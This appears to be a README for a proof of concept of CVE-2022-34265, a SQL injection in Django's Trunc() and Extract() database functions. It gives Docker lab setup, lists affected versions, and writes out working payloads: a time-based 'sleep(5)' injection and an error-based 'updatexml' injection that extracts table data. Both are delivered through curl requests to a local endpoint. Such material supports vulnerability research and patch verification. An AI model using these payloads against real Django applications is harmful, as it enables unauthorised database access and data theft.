PoC for CVE-2022-34265
An issue was discovered in Django 3.2 before 3.2.14 and 4.0 before 4.0.6. The Trunc()
and Extract()
database functions are subject to SQL injection if untrusted data is used as a kind/lookup_name value. Applications that constrain the lookup name and kind choice to a known safe list are unaffected.
git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d
docker-compose down
-
Django>= 3.2, < 3.2.14
-
Django >= 4.0, < 4.0.6
-
Django 3.2.14
-
Django 4.0.6
- Django 4.0.5
- Python 3.8.13
- MySQL 5.7
-
YEAR FROM start_time)) ;select sleep(5)--
-
YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"
PS:In the case of different databases, the existence of vulnerabilities is different. The vulnerability does not exist in the MYSQL database backend
Trunc
function.